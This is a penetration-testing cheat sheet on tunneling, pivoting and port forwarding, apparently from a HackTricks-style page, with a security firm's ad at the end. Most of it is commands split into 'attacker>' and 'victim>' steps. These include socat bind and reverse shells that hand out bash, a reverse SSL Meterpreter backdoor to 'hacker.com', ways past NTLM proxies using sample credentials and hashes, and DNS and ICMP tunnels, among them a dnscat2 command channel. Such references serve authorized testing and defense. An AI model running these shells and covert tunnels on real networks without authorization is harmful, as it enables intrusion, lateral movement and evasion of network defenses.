Tunneling and Port Forwarding

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SSH
SSH graphical connection (X)
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ssh -Y -C <user>@<ip> #-Y is less secure but faster than -X
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Local Port2Port
Open new Port in SSH Server --> Other port
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ssh -R 0.0.0.0:10521:127.0.0.1:1521 [email protected] #Local port 1521 accessible in port 10521 from everywhere
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ssh -R 0.0.0.0:10521:10.0.0.1:1521 [email protected] #Remote port 1521 accessible in port 10521 from everywhere
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Port2Port
Local port --> Compromised host (SSH) --> Third_box:Port
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ssh -i ssh_key <user>@<ip_compromised> -L <attacker_port>:<ip_victim>:<remote_port> [-p <ssh_port>] [-N -f]  #This way the terminal is still in your host 
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#Example
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sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
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Port2hostnet (proxychains)
Local Port --> Compromised host (SSH) --> Wherever
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ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
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VPN-Tunnel
You need root in both devices (as you are going to create new interfaces) and the sshd config has to allow root login:
PermitRootLogin yes
PermitTunnel yes
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ssh [email protected] -w any:any #This wil create Tun interfaces in both devices
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ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP
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ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP
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Enable forwarding in Server side
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echo 1 > /proc/sys/net/ipv4/ip_forward
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iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE
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Set new route on client side
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route add -net 10.0.0.0/16 gw 1.1.1.1
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SSHUTTLE
You can tunnel via ssh all the traffic to a subnetwork through a host.
Example, forwarding all the traffic going to 10.10.10.0/24
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pip install sshuttle
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sshuttle -r [email protected] 10.10.10.10/24
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Meterpreter
Port2Port
Local port --> Compromised host (active session) --> Third_box:Port
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# Inside a meterpreter session
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portfwd add -l <attacker_port> -p <Remote_port> -r <Remote_host>
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Port2hostnet (proxychains)
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background# meterpreter session
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route add <IP_victim> <Netmask> <Session> # (ex: route add 10.10.10.14 255.255.255.0 8)
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use auxiliary/server/socks_proxy
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run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
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Another way:
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background #meterpreter session
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use post/multi/manage/autoroute
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set SESSION <session_n>
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set SUBNET <New_net_ip> #Ex: set SUBNET 10.1.13.0
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set NETMASK <Netmask>
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run
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use auxiliary/server/socks_proxy
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set VERSION 4a
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run #Proxy port 1080 by default
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echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
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reGeorg
​https://github.com/sensepost/reGeorg​
You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp
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python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
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Chisel
You can download it from the releases page of https://github.com/jpillora/chisel
You need to use the same version for client and server
socks
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./chisel server -p 8080 --reverse #Server
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./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client
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#And now you can use proxychains with port 1080 (default)
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Port forwarding
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./chisel_1.7.6_linux_amd64 server -p 12312 --reverse
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./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505
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Rpivot
​https://github.com/klsecservices/rpivot​
Reverse tunnel. The tunnel is started from the victim.
A socks4 proxy is created on 127.0.0.1:1080
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attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
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Pivot through NTLM proxy
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password [email protected]
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victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45
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​

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Socat
​https://github.com/andrew-d/static-binaries​
Bind shell
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victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
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attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
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Reverse shell
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attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
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victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
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Port2Port
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socat TCP-LISTEN:<lport>,fork TCP:<redirect_ip>:<rport> &
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Port2Port through socks
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socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
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Meterpreter through SSL Socat
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#Create meterpreter backdoor to port 3333 and start msfconsole listener in that port
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attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333
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victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
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#Execute the meterpreter
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You can bypass a non-authenticated proxy executing this line instead of the last one in the victim's console:
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OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
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​https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/​
SSL Socat Tunnel
/bin/sh console
Create certificates in both sides: Client and Server
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# Execute this commands in both sides
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FILENAME=socatssl
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openssl genrsa -out $FILENAME.key 1024
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openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
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cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
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chmod 600 $FILENAME.key $FILENAME.pem
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attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh
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victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt
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Remote Port2Port
Connect the local SSH port (22) to the 443 port of the attacker host
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attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost 
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victim> while true; do socat TCP4:<attacker>:443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 
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attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim
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Plink.exe
It's like a console PuTTY version ( the options are very similar to a ssh client).
As this binary will be executed in the victim and it is a ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward a only locally accessible port to a port in our machine:
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echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
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echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
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NTLM proxy bypass
The previously mentioned tool: Rpivot
OpenVPN can also bypass it, setting these options in the configuration file:
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http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
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Cntlm
​http://cntlm.sourceforge.net/​
It authenticates against a proxy and binds a port locally that is forwarded to the external service you specify. Then, you can use the tool of your choice through this port.
Example that forward port 443
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Username Alice 
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Password [email protected] 
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Domain CONTOSO.COM 
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Proxy 10.0.0.10:8080 
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Tunnel 2222:<attackers_machine>:443
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Now, if you set for example in the victim the SSH service to listen in port 443. You can connect to it through the attacker port 2222.
You could also use a meterpreter that connects to localhost:443 and the attacker is listening in port 2222.
YARP
A reverse proxy create by Microsoft. You can find it here: https://github.com/microsoft/reverse-proxy​
DNS Tunneling
Iodine
​https://code.kryo.se/iodine/​
Root is needed in both systems to create tun adapters and tunnels data between them using DNS queries.
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attacker> iodined -f -c -P [email protected] 1.1.1.1 tunneldomain.com
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victim> iodine -f -P [email protected] tunneldomain.com -r
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#You can see the victim at 1.1.1.2
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The tunnel will be really slow. You can create a compressed SSH connection through this tunnel by using:
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ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
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DNSCat2
Establishes a C&C channel through DNS. It doesn't need root privileges.
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attacker> ruby ./dnscat2.rb tunneldomain.com
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victim> ./dnscat2 tunneldomain.com
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Port forwarding with dnscat
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session -i <sessions_id>
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listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
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Change proxychains DNS
Proxychains intercepts gethostbyname libc call and tunnels tcp DNS request through the socks proxy. By default the DNS server that proxychains use is 4.2.2.2 (hardcoded). To change it, edit the file: /usr/lib/proxychains3/proxyresolv and change the IP. If you are in a Windows environment you could set the IP of the domain controller.
Tunnels in Go
​https://github.com/hotnops/gtunnel​
ICMP Tunneling
Hans
​https://github.com/friedrich/hans
https://github.com/albertzak/hanstunnel​
Root is needed in both systems to create tun adapters and tunnels data between them using ICMP echo requests.
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./hans -v -f -s 1.1.1.1 -p [email protected] #Start listening (1.1.1.1 is IP of the new vpn connection)
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./hans -f -c <server_ip> -p [email protected] -v
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ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100
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Other tools to check
​https://github.com/securesocketfunneling/ssf​
​https://github.com/z3APA3A/3proxy​
​https://github.com/jpillora/chisel​
​

A digital transformation tailored to your organization is unique. It also comes with its risks. Defend yourself against hackers. Get protection before it's too late. Talk to the professionals at Securityboat:
Let's connect - Securityboat
Securityboat - Frontline of Your Business
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